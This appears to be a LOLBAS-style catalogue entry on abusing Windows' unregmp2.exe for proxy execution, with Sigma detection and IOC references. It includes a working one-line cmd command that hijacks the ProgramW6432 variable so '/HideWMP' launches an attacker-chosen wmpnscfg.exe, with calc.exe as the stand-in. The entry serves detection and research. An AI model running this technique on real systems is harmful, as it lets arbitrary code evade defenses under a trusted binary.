

.. /Unregmp2.exe

Execute

Microsoft Windows Media Player Setup Utility

Paths:

C:\Windows\System32\unregmp2.exe
C:\Windows\SysWOW64\unregmp2.exe

Resources:

- <https://twitter.com/notwhickey/status/1466588365336293385>

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Detections:

- Sigma:
https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_lolbin_unregmp2.yml
- IOC: Low-prevalence binaries, with filename 'wmpnscfg.exe', spawned as child-processes of 'unregmp2.exe /HideWMP'

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Allows an attacker to copy a target binary to a controlled directory and modify the 'ProgramW6432' environment variable to point to that controlled directory, then execute 'unregmp2.exe' with argument '/HideWMP' which will spawn a process at the hijacked path '%ProgramW6432%\wmpnscfg.exe'.

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rmdir %temp%\lolbin /s /q 2>nul & mkdir "%temp%\lolbin\Windows Media Player" & copy  
C:\Windows\System32\calc.exe "%temp%\lolbin\Windows Media Player\wmpnscfg.exe" >nul && cmd /V /C "set  
"ProgramW6432=%temp%\lolbin" && unregmp2.exe /HideWMP"
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Use case:	Proxy execution of binary
Privileges required:	User
Operating systems:	Windows 10
ATT&CK® technique:	T1202